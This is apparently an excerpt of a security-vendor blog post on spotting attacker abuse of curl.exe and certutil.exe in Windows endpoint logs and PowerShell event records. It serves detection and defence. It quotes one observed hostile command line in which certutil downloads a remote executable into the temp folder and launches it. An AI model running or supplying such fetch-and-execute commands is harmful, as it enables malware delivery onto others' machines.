Huntress analysts have also observed threat actors using curl.exe for file download. Curling for Data: A Dive into a Threat Actor's Malicious TTPs walks through one such incident in detail.
Figure 2: Results of Elastic search for “curl.exe”An Elastic search for this LOLBin, similar to the search for finger.exe, results in 2,182,554 hits. Refining the search to remove a great deal of the legitimate activity takes real time and effort, though searching for specific known-malicious patterns can immediately narrow that down to minimal or even no hits. For example, adding a search for "Dokan," a file system driver, returns no results at all. Keep in mind that this search spans thousands of endpoints and hundreds of customers, not a single infrastructure, so any individual organization's baseline will look different.
Figure 3: PowerShell command line spawning curl.exeWhile there may be legitimate uses for curl.exe within an environment, there are clearly malicious uses as well, such as curl.exe spawned from a PowerShell command line unlike any other observed within the infrastructure. Regardless of how curl.exe is used elsewhere in an environment, it's very unlikely that it's being used in a legitimate operational manner via a command line like this one. Retrieving command lines from Windows PowerShell Event Log event ID 600 records, this kind of command line invariably stands out as unique against the rest of the log.
Certutil.exe is a command-line utility used to display and configure information regarding Certificate Services. In its simplest uses, this LOLBin can encode and decode files, as well as download files from HTTP or HTTPS resources. An organization may have legitimate use for it if it operates as a certificate authority, or uses applications that rely on the utility's capabilities in some way.
Certutil.exe launched via encoded PowerShell
In one incident, Huntress analysts observed certutil.exe launched as a result of an encoded PowerShell command line using [SYSTEM.WEB.HTTPUTILITY]::URLDECODE, itself a child process of sqlservr.exe, the Microsoft SQL Server application installed as part of the FortiClient Endpoint Management Server (EMS) product. Based on Huntress EDR telemetry and Windows Event Logs, the activity did not execute successfully on the monitored endpoints.
The resulting command line, observed across multiple incidents, appeared as follows:
`certutil -urlcache -f [HTTP/HTTPS URL] %TEMP%[REDACTED].exe & start /B %TEMP%[REDACTED].exe`
In this incident, the Windows PowerShell Event Log contained over 750 individual PowerShell command lines, extracted from event ID 600 records. For the incident, the command line described above was unique, and markedly stood out against a backdrop of regular, consistent command lines.